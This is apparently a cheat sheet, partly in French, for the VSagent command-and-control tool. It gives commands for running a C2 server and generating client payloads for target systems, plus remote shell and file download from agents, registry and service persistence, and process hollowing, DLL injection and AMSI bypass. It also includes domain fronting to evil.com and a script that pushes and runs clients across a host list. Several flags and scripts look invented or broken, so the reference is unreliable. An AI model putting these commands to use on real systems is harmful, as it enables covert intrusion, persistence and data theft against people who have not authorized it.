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Aide-mémoire VSagent

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Install required dependencies

sudo apt update sudo apt install git python3 python3-pip

Install web server components

sudo apt install apache2 nginx


### Git Installation

```bash
# Clone VSagent repository
git clone https://github.com/nccgroup/VSagent.git
cd VSagent

# Install Python dependencies
pip3 install -r requirements.txt

# Make scripts executable
chmod +x *.py
chmod +x *.sh

Docker Installation

# Build VSagent container
docker build -t vsagent .

# Run VSagent container
docker run -d -p 80:80 -p 443:443 vsagent

# Access container shell
docker exec -it vsagent /bin/bash

Basic Usage

Server Setup

Setting up the VSagent server component to handle C2 communications:

# Start VSagent server
python3 vsagent_server.py --port 8080 --interface 0.0.0.0

# Start with SSL/TLS
python3 vsagent_server.py --port 443 --ssl --cert server.crt --key server.key

# Start with custom VIEWSTATE key
python3 vsagent_server.py --port 8080 --viewstate-key "custom_key_here"

# Enable verbose logging
python3 vsagent_server.py --port 8080 --verbose

# Start with authentication
python3 vsagent_server.py --port 8080 --auth-token "secure_token_123"

Client Deployment

Deploying VSagent clients on target systems:

# Generate client payload
python3 generate_client.py --server 192.168.1.100 --port 8080

# Generate PowerShell client
python3 generate_client.py --server 192.168.1.100 --port 8080 --format powershell

# Generate with custom User-Agent
python3 generate_client.py --server 192.168.1.100 --port 8080 --user-agent "Mozilla/5.0 Custom"

# Generate with proxy support
python3 generate_client.py --server 192.168.1.100 --port 8080 --proxy 192.168.1.50:3128

# Generate encrypted client
python3 generate_client.py --server 192.168.1.100 --port 8080 --encrypt --key "encryption_key"

Command Execution

Executing commands through VSagent C2 channel:

# List active agents
vsagent> list

# Select agent for interaction
vsagent> use agent_001

# Execute system command
agent_001> shell whoami

# Execute PowerShell command
agent_001> powershell Get-Process

# Upload file to agent
agent_001> upload /local/path/file.txt C:\temp\file.txt

# Download file from agent
agent_001> download C:\temp\data.txt /local/path/data.txt

# Execute in-memory .NET assembly
agent_001> execute-assembly /path/to/assembly.exe arguments

Advanced Features

VIEWSTATE Manipulation

Advanced techniques for manipulating VIEWSTATE parameters:

# Custom VIEWSTATE encoding
python3 vsagent_server.py --viewstate-encoding base64

# Multiple VIEWSTATE keys rotation
python3 vsagent_server.py --viewstate-keys key1,key2,key3 --rotation-interval 3600

# VIEWSTATE compression
python3 vsagent_server.py --viewstate-compress gzip

# Custom VIEWSTATE validation
python3 vsagent_server.py --viewstate-validation custom

# VIEWSTATE fragmentation
python3 vsagent_server.py --viewstate-fragment --fragment-size 1024

Traffic Obfuscation

Implementing traffic obfuscation techniques:

# Random delay between communications
agent_001> set delay 30-120

# Custom HTTP headers
agent_001> set headers "X-Custom-Header: value"

# User-Agent rotation
agent_001> set user-agents "Mozilla/5.0...,Chrome/91.0...,Safari/14.0..."

# Referrer spoofing
agent_001> set referrer "https://legitimate-site.com"

# Cookie manipulation
agent_001> set cookies "session=abc123; auth=xyz789"

Persistence Mechanisms

Establishing persistence through VSagent:

# Registry persistence
agent_001> persist registry --key "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" --name "VSagent"

# Scheduled task persistence
agent_001> persist task --name "SystemUpdate" --trigger daily --time "09:00"

# Service persistence
agent_001> persist service --name "VSagentSvc" --display "System Update Service"

# WMI persistence
agent_001> persist wmi --namespace "root\subscription" --consumer "VSagentConsumer"

# Startup folder persistence
agent_001> persist startup --path "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"

Evasion Techniques

Network Evasion

Implementing network-level evasion:

# Domain fronting
python3 vsagent_server.py --domain-front cdn.cloudflare.com --real-domain evil.com

# DNS over HTTPS
python3 vsagent_server.py --dns-over-https --doh-server https://1.1.1.1/dns-query

# Traffic shaping
python3 vsagent_server.py --traffic-shape --min-delay 5 --max-delay 30

# Protocol tunneling
python3 vsagent_server.py --tunnel-protocol https --tunnel-port 443

# Proxy chaining
python3 vsagent_server.py --proxy-chain "proxy1:8080,proxy2:3128,proxy3:1080"

Host-Based Evasion

Evading host-based detection:

# Process hollowing
agent_001> hollow-process notepad.exe payload.exe

# DLL injection
agent_001> inject-dll target_process.exe malicious.dll

# Memory patching
agent_001> patch-memory process_name offset shellcode

# AMSI bypass
agent_001> bypass-amsi

# ETW evasion
agent_001> disable-etw

Anti-Analysis

Implementing anti-analysis techniques:

# Sandbox detection
agent_001> detect-sandbox

# Virtual machine detection
agent_001> detect-vm

# Debugger detection
agent_001> detect-debugger

# Analysis tool detection
agent_001> detect-analysis-tools

# Environment fingerprinting
agent_001> fingerprint-environment

Automation Scripts

Deployment Automation

#!/bin/bash
# VSagent deployment automation

# Set variables
SERVER_IP="192.168.1.100"
SERVER_PORT="8080"
TARGET_LIST="targets.txt"

# Generate clients for multiple targets
while IFS= read -r target; do
    echo "Generating client for $target"
    python3 generate_client.py --server $SERVER_IP --port $SERVER_PORT --target $target

    # Deploy client
    scp vsagent_client.exe user@$target:/tmp/
    ssh user@$target "cd /tmp && ./vsagent_client.exe"
done < "$TARGET_LIST"

echo "Deployment completed"

Command Automation

#!/bin/bash
# VSagent command automation

# Connect to VSagent server
python3 -c "
import vsagent_client

# Initialize connection
client = vsagent_client.VSagentClient('192.168.1.100', 8080)

# Execute command sequence
commands = [
    'shell whoami',
    'shell hostname',
    'powershell Get-Process',
    'download C:\temp\data.txt /tmp/data.txt'
]

for cmd in commands:
    result = client.execute(cmd)
    print(f'Command: \\\\{cmd\\\\}')
    print(f'Result: \\\\{result\\\\}')
    print('-' * 50)
"

Monitoring Script

#!/usr/bin/env python3
# VSagent monitoring script

import time
import requests
import json

def monitor_vsagent_traffic():
    """Monitor VSagent C2 traffic"""

    server_url = "http://192.168.1.100:8080"

    while True:
        try:
            # Check server status
            response = requests.get(f"\\\\{server_url\\\\}/status")

            if response.status_code == 200:
                data = response.json()

                print(f"Active agents: \\\\{data['active_agents']\\\\}")
                print(f"Total commands: \\\\{data['total_commands']\\\\}")
                print(f"Data transferred: \\\\{data['data_transferred']\\\\}")

                # Log agent activity
                for agent in data['agents']:
                    print(f"Agent \\\\{agent['id']\\\\}: Last seen \\\\{agent['last_seen']\\\\}")

            time.sleep(60)

        except Exception as e:
            print(f"Monitoring error: \\\\{e\\\\}")
            time.sleep(30)

if __name__ == "__main__":
    monitor_vsagent_traffic()

Integration Examples

SIEM Integration

Integrating VSagent with SIEM systems:

# Splunk integration
python3 vsagent_server.py --siem-output splunk --splunk-host splunk.company.com --splunk-port 8089

# ELK Stack integration
python3 vsagent_server.py --siem-output elasticsearch --es-host elastic.company.com --es-port 9200

# QRadar integration
python3 vsagent_server.py --siem-output qradar --qradar-host qradar.company.com --qradar-port 514

# Custom SIEM integration
python3 vsagent_server.py --siem-output custom --siem-script /path/to/custom_siem.py

Threat Intelligence Integration

#!/usr/bin/env python3
# VSagent threat intelligence integration

import requests
import json

def integrate_threat_intel():
    """Integrate with threat intelligence platforms"""

    # VirusTotal integration
    vt_api_key = "your_vt_api_key"

    # Check IOCs
    iocs = ["192.168.1.100", "evil.com", "malicious.exe"]

    for ioc in iocs:
        url = f"https://www.virustotal.com/vtapi/v2/ip-address/report"
        params = \\\\{"apikey": vt_api_key, "ip": ioc\\\\}

        response = requests.get(url, params=params)

        if response.status_code == 200:
            data = response.json()
            print(f"IOC \\\\{ioc\\\\}: \\\\{data['response_code']\\\\}")

if __name__ == "__main__":
    integrate_threat_intel()

Troubleshooting

Common Issues

Connection Problems:

# Check network connectivity
ping target_server

# Verify port accessibility
telnet target_server 8080

# Check firewall rules
sudo iptables -L|grep 8080

# Test with curl
curl -v http://target_server:8080

VIEWSTATE Issues:

# Validate VIEWSTATE format
python3 validate_viewstate.py --input viewstate_data

# Debug VIEWSTATE parsing
python3 vsagent_server.py --debug-viewstate

# Check VIEWSTATE size limits
python3 check_viewstate_limits.py --server target_server

Problèmes de Performance :

# Monitor resource usage
top -p $(pgrep vsagent)

# Check memory usage
ps aux|grep vsagent

# Monitor network traffic
netstat -an|grep 8080

# Check disk space
df -h

Débogage

Activer le débogage détaillé :

# Enable debug mode
python3 vsagent_server.py --debug --log-level DEBUG

# Capture network traffic
tcpdump -i eth0 -w vsagent_traffic.pcap port 8080

# Analyze logs
tail -f /var/log/vsagent.log

# Memory debugging
valgrind --tool=memcheck python3 vsagent_server.py

Considérations de Sécurité

Sécurité Opérationnelle

Sécurité des Communications :

  • Toujours utiliser HTTPS/TLS pour les communications C2
  • Implémenter le certificate pinning pour prévenir les attaques MITM
  • Utiliser un chiffrement fort pour la transmission des payloads
  • Faire tourner régulièrement les clés de chiffrement

Sécurité de l’Infrastructure :

  • Déployer les serveurs C2 derrière des CDNs ou des redirecteurs
  • Utiliser des techniques de domain fronting si possible
  • Implémenter le whitelisting d’IP pour l’accès administratif
  • Mises à jour et correctifs de sécurité réguliers

Évitement de la Détection :

  • Varier les modèles et la temporisation des communications
  • Utiliser des User-Agent crédibles
  • Implémenter du jitter dans les intervalles de beacon
  • Surveiller les contre-mesures défensives

Considérations Légales et Éthiques

Tests Autorisés Uniquement :

  • Obtenir une autorisation écrite avant le déploiement
  • Définir clairement le périmètre et les limitations
  • Documenter toutes les activités pour la conformité
  • Suivre les pratiques de divulgation responsable

Protection des Données :

  • Chiffrer les données sensibles en transit et au repos
  • Implémenter des procédures sécurisées de suppression de données
  • Respecter les exigences de confidentialité
  • Se conformer aux réglementations de protection des données

Références